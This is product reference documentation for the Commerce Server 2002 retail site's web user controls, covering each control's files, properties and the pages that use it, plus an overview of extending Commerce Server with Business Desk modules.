Namespace |  | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly |  | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • NewAddress.aspx

Controls

  • AddressEdit.ascx
  • CreditCardedit.ascx
  • MultipleShiptoSelector.ascx
  • OrderPayment.ascx
  • OrderShipment.ascx
  • ShipMethodSelector.ascx


CountrySelector Control

Enables country/region selection.

Control Information | Location
Web User Control |  | CountrySelector.ascx Inherits Microsoft.CommerceServer.Site.CountrySelectorControl
Codebehind |  | CountrySelector.ascx.cs
Project File |  | Accounts\Account Management Controls.csproj
Namespace |  | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly |  | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AccountLayout.cs
  • AddressEdit.ascx
  • MyAccount.ascx


CreditCardEdit Control

Enables the user to edit credit card data.

Control Information | Location
Web User Control | CreditCardEdit.ascx Inherits Microsoft.CommerceServer.Site.CreditCardEditControl
Codebehind | CreditCardEdit.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • PaymentOption.aspx


CreditCardList Control

Enables the user to select a credit card for payment.

Control Information | Location
Class Name | CreditCardList
Source | Accounts\CreditCardList.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Accounts
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • PaymentSelect.aspx


CreditCardSelector Control

Enables the user to select a credit card to edit.

Control Information | Location
Web User Control | CreditCardSelector.ascx Inherits Microsoft.CommerceServer.Site.CreditCardSelectorControl
Codebehind | CreditCardSelector.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • CreditCardedit.ascx


FrameControl Control

Provides a frame user interface element.

Control Information | Location
Class Name | FrameControl
Source | FrameControl.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx


MyAccount Control

Displays user profile data and allows the user to edit the data.

Control Information | Location
Web User Control | MyAccount.ascx Inherits Microsoft.CommerceServer.Site.MyAccountControl
Codebehind | MyAccount.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • MyAccount.aspx


Navigation Control

Displays a list of customized links.

Control Information | Location
Web User Control | Navigation.ascx Inherits Microsoft.CommerceServer.Site.NavigationControl
Codebehind | Navigation.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • EditAddress.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx


NewAccount Control

Displays the controls necessary for creating a new (site user) account.

Control Information | Location
Source Files | NewAccount.ascx Inherits Microsoft.CommerceServer.Site.NewAccountControl
Codebehind | NewAccount.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • NewAccount.aspx


StateSelectorControl Control

Enables the user to select a state.

Class Name | StateSelectorControl
Source | StateSelector.ascx.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

Controls

  • AccountLayout.cs
  • AddressEdit.ascx
  • MyAccount.ascx


WelcomeUserControl Control

Welcomes the user by name.

Class Name | WelcomeUserControl
Source | WelcomeUser.cs
Project File | Accounts\Account Management Controls.csproj
Namespace | Microsoft.CommerceServer.Site
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Accounts.dll

Where used

ASPX Pages

  • Default.aspx


Authentication Controls

This section contains reference pages for the authentication controls.

Authentication Controls

Control | Description
signin | Provides a sign-in form for the user to sign in.
SignInLink | Displays a sign-in or sign-out link.


SignIn Control

Provides a sign-in form for the user to sign in.

Web User Control | Signin.ascx
Codebehind | signin.ascx.vb Inherits Microsoft.CommerceServer.Site.Authentication.SignIn
Project File | Authentication\Authentication Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Authentication
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Authentication.dll

Where used

ASPX Pages

  • Login.aspx

Remarks

Provides a sign-in form for the user to sign in to the site on a SQL-based account, and provides a Microsoft Passport sign-in link for the user to sign in on their Passport account.

The Passport sign-in link is displayed only when the Passport SDK is installed on the server.


SignInLink Control

Displays a sign-in or sign-out link depending on whether or not user is currently signed in.

Source Files | SignInLink.ascx
Codebehind | SignInLink.ascx.vb Inherits Microsoft.CommerceServer.Site.Authentication.SignInLink
Project File | Authentication\Authentication Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Authentication
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Authentication.dll

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Controls

  • CompositeHeader2.ascx
  • CompositeHeader3.ascx


Campaign Controls

This section contains reference pages for the campaign controls.

Campaign Controls

Control | Description
ContentItemControl | Displays ads and other content from the Content Selection Framework.


ContentItemControl Control

Displays ads and other content from the Content Selection Framework.

Class Name | ContentItemControl
Source | ContentItem.vb
Project File | \Campaign\Campaign Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Campaign
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Campaign.dll

This control has the following design-time properties:

Property | Description
Size | Lists the available sizes as a drop-down list.
SelectionContext | Allows the user select between "advertising" and "discounts".

This control has the following run-time properties:

Property | Description
Culture | Gets or sets the culture. The default is the current culture of the site. Specify the culture in the format "<languagecode2>-<country/regioncode2>" For example, "en-US".
PageGroup | Gets or sets the PageGroup.
TraceMode | Gets or sets the trace mode. The default is False. Set to True to enable tracing.
ContentSelector | Returns the ContentSelector object.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx

Remarks

The ContentItem control is not dependent on the International Retail Site. It requires only the Commerce Server 2002 platform. If it is used without the International Retail Site, the user will need to add a page for redirection. This page will require functionality similar to that found in the Redir.aspx.vb file in the International Retail Site.

The control maintains a page history when multiple ads or discounts are shown on a page. This prevents displaying the same item multiple times on the same page and avoids industry collisions.

You can create targeting expressions using Commerce Server Business Desk that target content based on the culture.

To add this control to the Visual Studio Toolbox

  1. In Visual Studio, on the Tools menu, click CustomizeToolbox.
  2. In the Customize Toolbox dialog box, on the .NET Framework Components tab, click Browse.
  3. In the Open dialog box, navigate to <%systemdrive%>\Inetpub\wwwroot\Retail2002\bin\Microsoft.CommerceServer.Retail2002.Campaign.dll, and then click Open.
  4. In the Customize Toolbox dialog box, click OK.


Catalogs Controls

This section contains reference pages for the catalog controls.

Catalogs Controls:

Control | Description
AdvancedSearch | Provides advanced search options.
Browser | Used for catalog and category navigation.
NavigationTabs | Displays navigation tabs.
ProductList | Displays a list of products in a catalog/category.
Search | Used for keyword search within a catalog or all catalogs.
VariantDisplay | Displays variant options for user selection.


AdvancedSearch Control

Provides advanced search options.

Control | Description
Web User Control | AdvancedSearch.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.AdvancedSearch
Codebehind | AdvancedSearch.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Read-only. The catalog name entered in the advanced search control.
Keywords | Read-only. The keywords entered in the advanced search control.
DisplayNo | Read-only. Returns the number of results to display.

Where used

ASPX Pages

AdvancedSearch.aspx

Remarks

The AdvancedSearch control allows the user to specify either "AND" or "OR" relationships between search terms, and to control the number of items per page to return.


Browser Control

Provides catalog and category navigation.

Control | Description
Web User Control | Browser.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogBrowser
Codebehind | Browser.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Returns the catalog that contains the category hierarchy when in categories mode. This property is empty when in catalogs mode.
CurrentSelection | Returns the currently selected item following a Click event.
MaxNumberOfItems | Gets or sets the maximum number of items displayed in the Browser control.
Mode | Gets or sets the mode enumeration. The values are catalogs or categories.
Path | Gets the path in the catalog hierarchy to the current category when in category mode.

This control has the following methods:

Method | Description
RenderList | Renders a list of items based on the current property configuration.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

The Browser control operates in two modes. In Catalog mode, it displays the list of Catalogs exposed through the Product Catalog System. In Category mode help us navigate the Category hierarchy one level at a time. It exposes the current location in the Category hierarchy as the Path property (which is used by the container page for display purposes).

The Browser control does not truncate or wrap catalog or category names. If the names are too long the control will expand to the right, which disfigures the page. The limit for the length of the names will depend on a number of factors and will need to be determined by testing.


NavigationTabs Control

Displays the navigation tabs.

Control | Description
Web User Control | NavigationTabs.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogNavigationTabs
Codebehind | CatalogNavigationTabs.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
SelectedIndex | Sets or gets the currently selected item in the tabs list by position.
Catalog | Sets or gets the currently selected catalog when the control is used in a catalog context.
Url | Gets the URL associated with the current tab selection when the control is used in contexts other than the catalog.

This control has the following methods:

Method | Description
SetTabs | Renders the control, either as the default catalog navigation tabs or as a set of configurable tabs with associated URLs.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

The default behavior of this control is to display a tab representing the home page and tabs for the first three catalogs in the current catalog set.

The CatalogNavigationTabs control does not truncate the catalog names. If the catalog names are too long, it will limit the number of tabs that can be displayed at one time. This can impact catalog discoverability and site usability.


ProductsList Control

Displays a list of products in a catalog/category.

Control | Description
Web User Control | ProductList.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.ProductsList
Codebehind | ProductsList.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Gets or sets the current catalog.
Category | Gets or sets the current category.
Path | Gets or sets the category hierarchy for the current category.
ProductId | Gets the product ID for the currently selected item.
VariantId | Gets the variant ID for the currently selected item.
RenderList | Renders a products list based on the current configuration.

Where used

ASPX Pages

  • Catalog.aspx
  • Category.aspx
  • Default.aspx


Search Control

Provides keyword search within a catalog or all catalogs.

Control | Description
Web User Control | Search.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogSearch
Codebehind | Search.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Gets the currently selected catalog(s).
Keywords | Gets the keywords to be searched for.

This control has the following methods:

Method | Description
SetCatalogs | Public method to set catalog search context.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • NewAccount.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

If multiple terms are entered, there is an implied logical "OR" relationship between the terms. Users must explicitly use the "and" keyword to search on "A and B".


VariantDisplay Control

Displays variant options for user selection.

Control | Description
Web User Control | VariantDisplay.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.VariantDisplay
Codebehind | VariantDisplay.ascx.cs
Project File | Catalogs\vb\Catalogs VB Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

Where used

ASPX Pages

  • ProductDetails.aspx

Remarks

Initially, all values for each property are shown in the variant drop-down lists. The user can select a value for any property, and the other drop-down lists will be repopulated with all the values that match with that selection. This process can be continued until the user has narrowed the possibilities to a single variant.

For example, if a particular color is only available in certain sizes, selecting that color will limit the possible sizes to those sizes available in that color. Conversely, selecting a size that is not available in that color will eliminate that color from the color drop-down list.

If the user clicks the "Reset Variant Data" button, all the variant information is reset to the state where all values are shown for all properties and none are selected.


Miscellaneous Controls

This section contains reference pages for controls that are used throughout the site.

Miscellaneous Controls

Control | Description
CompanyLogo | Displays the company logo on page headers.
CompositeHeader1 | Composite header control, used for grouping controls.
CompositeHeader2 | Composite header control, used for grouping controls.
CompositeHeader3 | Composite header control, used for grouping controls.
LocaleSelection | Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.
LogoHeader | Encapsulates the company header.
PageBottom | Encapsulates links to static pages and the page footer.
TopLinks | Encapsulates links and the checkout button.


CompanyLogo Control

Displays the company logo on page headers.

Web User Control | CompanyLogo.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.CompanyLogo
Codebehind | CompanyLogo.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx
  • CompositeHeader3.ascx


CompositeHeader1 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader1.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader1
Codebehind | CompositeHeader1.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Used by a set of pages that contain the catalog navigation tabs.

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • EditAddress.aspx
  • Login.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx
  • ProductDetails.aspx
  • Receipt.aspx
  • SearchResults.aspx

Remarks

This is a composite header control that encapsulates the company logo, the banner ad, and the top links controls.


CompositeHeader2 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader2.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader2
Codebehind | CompositeHeader2.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following property:

Property | Description
SignInLinkVisible (Boolean) | Controls whether or not the sign in/out link is visible on the green-blue row, which is part of this header.

Where used

Intended to be used in pages without navigation tabs, such as the account management module pages.

Remarks

This is a composite header control that encapsulates the company logo, the banner ad, the top links controls, and the green-blue row beneath.


CompositeHeader3 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader3.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader3
Codebehind | CompositeHeader3.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following property:

Property | Description
SignInLinkVisible (Boolean) | Controls whether or not the sign in/out link is visible on the green-blue row, which is part of this header.

Where used

ASPX Pages

  • Checkout.aspx
  • MultipleShiptoSelect.aspx
  • PaymentOption.aspx
  • PaymentSelect.aspx

Remarks

This is a composite header control that encapsulates the company logo and the green-blue row beneath the top row.


LocaleSelection Control

Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.

Web User Control | LocaleSelection.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.LocaleSelection
Codebehind | LocaleSelection.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

ASPX Pages

  • Customerror.aspx
  • LocaleSelection.aspx
  • Notfound.aspx


LogoHeader Control

Encapsulates the company header.

Web User Control | LogoHeader.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.LogoHeader
Codebehind | LogoHeader.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

ASPX Pages

  • Customerror.aspx
  • LocaleSelection.aspx
  • Notfound.aspx


PageBottom Control

Encapsulates links to static pages and the page footer.

Web User Control | PageBottom.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.PageBottom
Codebehind | PageBottom.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following properties:

Property | Description
LinksCssClass(String) | Gets/sets the CssClass that will be applied to all the links.
TextCssClass(String) | Gets/sets the CssClass that will be applied to the footer text.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Checkout.aspx
  • Customerror.aspx
  • Default.aspx
  • EditAddress.aspx
  • LocaleSelection.aspx
  • Login.aspx
  • ManageAddresses.aspx
  • MultipleShiptoSelect.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx
  • Notfound.aspx
  • PaymentOption.aspx
  • PaymentSelect.aspx
  • ProductDetails.aspx
  • Receipt.aspx
  • SearchResults.aspx

Remarks

These properties can be used to change the links and text of this control to a different color or font.


TopLinks Control

Encapsulates links and the cart/checkout button.

Web User Control | TopLinks.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.TopLinks
Codebehind | TopLinks.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx


Transactions Controls

This section contains reference pages for the controls used for ordering and purchasing products.

Transactions Controls

Control | Description
AddToCart | Displays a button, which adds an item to the cart.
Cart | Renders the current list of products added to the shopping cart.
CheckoutLink | Displays a button, which redirects to the checkout page.
CurrencyConverterControl | Encapsulates currency conversion logic.
MultipleShiptoSelector | Allows the user to configure multiple shipments.
OrderPayment | Renders payment-related information.
OrderReceipt | Displays the result of running the Checkout pipeline.
OrderShipment | Renders shipment-related information.
OrderTotals | Renders order totals.
ShipMethodSelector | Encapsulates a drop-down selection box, which allows you to choose a shipment method/option.


AddToCart Control

Displays a button, which adds an item to the cart.

Control Information | Location
Web User Control | AddToCart.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.AddToCart
Codebehind | AddToCart.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following properties:

Property | Description
Catalog | The catalog containing the product.
Category | The category containing the product.
ProductID | The product ID of the product.
VariantID | The variant ID of the product.
Qty | The quantity selected.

Where used

Product lists or product detail pages that are attached to a product description.

ASPX Pages

  • Basket.aspx
  • ProductDetails.aspx

Controls

  • _ProductsList.ascx


Cart Control

Renders the current list of products added to the shopping cart.

Control Information | Location
Web User Control | Cart.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.Cart
Codebehind | Cart.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Basket.aspx
  • Checkout.aspx
  • ProductDetails.aspx

Controls

  • _ProductsList.ascx
  • AddToCart.ascx
  • Cart.ascx

Remarks

The user can update the list (delete items and/or update quantities) or proceed with the checkout process.

Note

  • If the value of the cart exceeds $21,474,783.00, a run-time error occurs.
  • You can change the number of items ordered in your cart. If you enter the maximum number of 9s in the Quantity field, and then click Update, an arithmetic overflow error occurs. The overflow will cause a run-time error.


CheckoutLink Control

Displays a button, which redirects to the checkout page.

Control Information | Location
Web User Control | CheckoutLink.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.CheckoutLink
Codebehind | CheckoutLink.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

Controls

  • TopLinks.ascx
  • CheckoutLink.ascx

Remarks

The target of the link depends on the contents (empty or not) in the cart.


CurrencyConverterControl Control

Encapsulates currency conversion logic.

Control Information | Location
Web User Control | CurrencyConverter.ascx Inherits Microsoft.CommerceServer.Site.Transactions.CurrencyConverterControl
Codebehind | CurrencyConverter.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • ProductDetails.aspx

Controls

  • _ProductsList.ascx
  • Cart.ascx
  • CurrencyConverter.ascx


MultipleShiptoSelector Control

Allows the user to configure multiple shipments.

Control Information | Location
Web User Control | MultipleShiptoSelector.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.MultipleShiptoSelector
Codebehind | MultipleShiptoSelector.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • MultipleShiptoSelect.aspx

Remarks

Allows the user to configure multiple shipments by associating various addresses and shipment options with the items in the cart.


OrderPayment Control

Renders payment-related information.

Control Information | Location
Web User Control | OrderPayment.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderPayment
Codebehind | OrderPayment.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following methods:

Method | Description
RenderPaymentInfo | Displays payment information.

Where used

ASPX Pages

  • Checkout.aspx

Remarks

Renders payment-related information such as the selected credit card and associated (billing) address.

Displays a Change link that takes the user to a different page where the user can select/create a different payment option (credit card and billing address).


OrderReceipt Control

Displays the result of running the Checkout pipeline.

Control Information | Location
Web User Control | OrderReceipt.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderReceipt
Codebehind | OrderReceipt.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Receipt.aspx

Remarks

This control displays items, shipments, fees, and other billing and shipping information.


OrderShipment Control

Renders shipment related information.

Control Information | Location
Web User Control | OrderShipment.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderShipment
Codebehind | OrderShipment.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Checkout.aspx

Remarks

Renders shipment-related information such as the shipping address and shipping option.


OrderTotals Control

Renders order totals.

Control Information | Location
Web User Control | OrderTotals.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderTotals
Codebehind | OrderTotals.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following methods:

Method | Description
UpdateTotals | Recalculates the totals and refreshes the display.

Where used

ASPX Pages

  • Checkout.aspx
  • PaymentOption.aspx

Controls

  • OrderReceipt.ascx
  • OrderTotals.ascx

Remarks

Renders the total fees associated with the current order form (subtotal, discount, shipping, tax, and total).


ShipMethodSelector Control

Encapsulates a drop-down selection box, which allows the user to select a shipment method/option.

Control Information | Location
Web User Control | ShipMethodSelector.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.ShipMethodSelector
Codebehind | ShipMethodSelector.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Checkout.aspx

Controls

  • MultipleShiptoSelector.ascx
  • OrderShipment.ascx

Remarks

This control selects from a list of shipping methods that were set up using Commerce Server Business Desk. Shipping by weight methods require that all items in the cart have a weight attribute defined in the catalog.


Extending Commerce Server

Microsoft Commerce Server 2002 can be extended in many ways. For example:

  • Custom resources and custom Commerce Server Business Desk modules can be written and integrated into Commerce Server Manager and Business Desk, respectively.
  • The pipeline processing used for order processing, content selection, and direct mailing can be extended by writing and integrating new pipeline components.
  • New types of data can be stored in the Data Warehouse, and new reports can be created to allow analysis of that data.

These extensions, and others, are described in this section.

This section contains:

  • Building Business Desk Modules. Explains how to build a new Business Desk module. This includes general architectural information, information about integrating new modules, and reference material about the HTML components available for use in new modules.
  • Customizing Style Sheets. Describes how Commerce Server uses customized style sheets.
  • Integrating Custom Resources. Explains how to integrate a custom resource into Commerce Server.
  • Integrating a Third-Party Product Catalog. Describes the various catalog integration points within Commerce Server so that third-party developers can more easily integrate a different catalog system.
  • Integrating with BizTalk Server. Describes how to integrate Microsoft BizTalk Server with Commerce Server 2002.
  • Extending the Content Selection Framework. Describes how the Content Selection Framework can be customized to alter the algorithms used to select personalized content.
  • Working with Pipelines. Describes how to work with Commerce Server 2002 pipelines.
  • Extending the Data Warehouse. Describes how to work with the Data Warehouse. This includes descriptions of its logical schema and its physical data store.
  • Creating Custom Reports. Explains how to create new analysis reports to supplement the standard reports that are available with Commerce Server.


Building Business Desk Modules

This section describes the architecture of Commerce Server Business Desk modules and explains how to build a new Business Desk module.

This section contains:

  • Module Development Basics. Describes Business Desk in general and Business Desk modules in particular. Discusses skill set assumptions that this section makes, and the basic steps required to build a new Business Desk module. Introduces Business Desk terminology and workflow.
  • Business Desk Architecture. Describes the architecture of Business Desk in terms of its constituent parts. These include the Framework, categories, modules, actions, and tasks. Discusses Business Desk security and state management.
  • Business Desk Conventions. Describes the standards and conventions employed in the existing Business Desk modules. Some of these are completely internal, such as coding standards, and some are visible to Business Desk users, such as conventions for error and confirmation messages. The purpose of this section is to make it easier to build new Business Desk modules that conform well to the existing modules.
  • Business Desk Configuration. Describes how Business Desk configuration works in general, and in particular, the configuration information a Business Desk module must provide to execute properly within the Business Desk Framework.
  • Data Manipulation in Business Desk. Discusses the mechanisms typically employed to retrieve data from a database for display in a Business Desk module, and how data that is changed by the user is saved back to the underlying database.
  • HTML Components in Business Desk. Describes the data display and manipulation components that are used extensively in the existing Business Desk modules. One or more of these components are likely to comprise a major portion of the user interface in any new Business Desk module.
  • Business Desk Utilities. Describes the various utility functions that are part of the Business Desk Framework. These functions are employed by the existing Business Desk modules, and will be useful in writing new Business Desk modules.
  • Business Desk Source Code. Provides a roadmap to the source code for the existing Business Desk modules, all of which is included with the product. Often, the easiest way to create a new Business Desk module is to start with the source code for a similar, existing Business Desk module, and modify it as needed.
  • Automating Module Installation. Describes a Component Object Module (COM) object that helps automate the process of integrating new Business Desk modules into existing Business Desk installations. The source code for this object is provided in the Commerce Server Software Development Kit (SDK).


Module Development Basics

Commerce Server Business Desk is a user interface framework implemented primarily as Active Server Pages (ASP) containing Dynamic Hypertext Markup Language (DHTML). This framework provides a structured environment in which third party developers can easily extend the management functionality provided with Microsoft Commerce Server 2002. This environment includes structured page navigation, standard mechanisms for data manipulation, shared utility routines, and a multitude of conventions that help assure a consistent user experience.

By default, every Commerce Server Web site has a distinct instance of Business Desk associated with it. Though Business Desk shares the same set of commerce resources with the Web site, such as various databases, it exists as a separate Active Server Page (ASP) application, with a directory structure and virtual root of its own.

Particular types of management functionality are implemented within Business Desk as distinct Business Desk modules. Microsoft Commerce Server 2002 ships with a number of Business Desk modules that are designed to manage many of the different types of data used by a commercial Web site. Nevertheless, requirements for new Web site features, and their corresponding management functionality, are bound to occur. This drove the highly extensible design of Business Desk, and to the creation of this set of topics that describe how to build a new Business Desk module.

This section contains:

  • Skill Set Assumptions. Describes the assumptions made by these topics regarding the skill set of the developer intent on building a new Business Desk module. Provides some references for learning more about the required technologies.
  • Summary of Required Steps. Summarizes the steps required for building a new Business Desk module. Provides links to topics containing more detailed information required to complete those steps.
  • Business Desk Terminology. Introduces the terminology associated with the basic aspects of Business Desk.
